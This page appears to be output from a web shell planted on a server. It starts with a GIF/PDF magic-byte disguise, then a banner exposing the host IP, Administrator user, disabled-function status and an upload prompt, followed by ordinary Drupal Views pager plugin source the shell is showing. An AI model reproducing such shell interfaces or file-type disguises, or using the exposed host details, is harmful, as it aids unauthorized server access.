GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Plugin/views/pager/ |
Upload File : |
<?php namespace Drupal\views\Plugin\views\pager; use Drupal\Core\Form\FormStateInterface; use Drupal\views\ViewExecutable; use Drupal\views\Plugin\views\display\DisplayPluginBase; /** * Plugin for views without pagers. * * @ingroup views_pager_plugins * * @ViewsPager( * id = "none", * title = @Translation("Display all items"), * help = @Translation("Display all items that this view might find."), * display_types = {"basic"} * ) */ class None extends PagerPluginBase { /** * {@inheritdoc} */ public function init(ViewExecutable $view, DisplayPluginBase $display, array &$options = NULL) { parent::init($view, $display, $options); // If the pager is set to none, then it should show all items. $this->setItemsPerPage(0); } public function summaryTitle() { if (!empty($this->options['offset'])) { return $this->t('All items, skip @skip', ['@skip' => $this->options['offset']]); } return $this->t('All items'); } protected function defineOptions() { $options = parent::defineOptions(); $options['offset'] = ['default' => 0]; return $options; } /** * Provide the default form for setting options. */ public function buildOptionsForm(&$form, FormStateInterface $form_state) { parent::buildOptionsForm($form, $form_state); $form['offset'] = [ '#type' => 'textfield', '#title' => $this->t('Offset (number of items to skip)'), '#description' => $this->t('For example, set this to 3 and the first 3 items will not be displayed.'), '#default_value' => $this->options['offset'], ]; } public function usePager() { return FALSE; } public function useCountQuery() { return FALSE; } public function getItemsPerPage() { return 0; } public function executeCountQuery(&$count_query) { // If we are displaying all items, never count. But we can update the count in post_execute. } public function postExecute(&$result) { $this->total_items = count($result); } public function query() { // The only query modifications we might do are offsets. if (!empty($this->options['offset'])) { $this->view->query->setOffset($this->options['offset']); } } }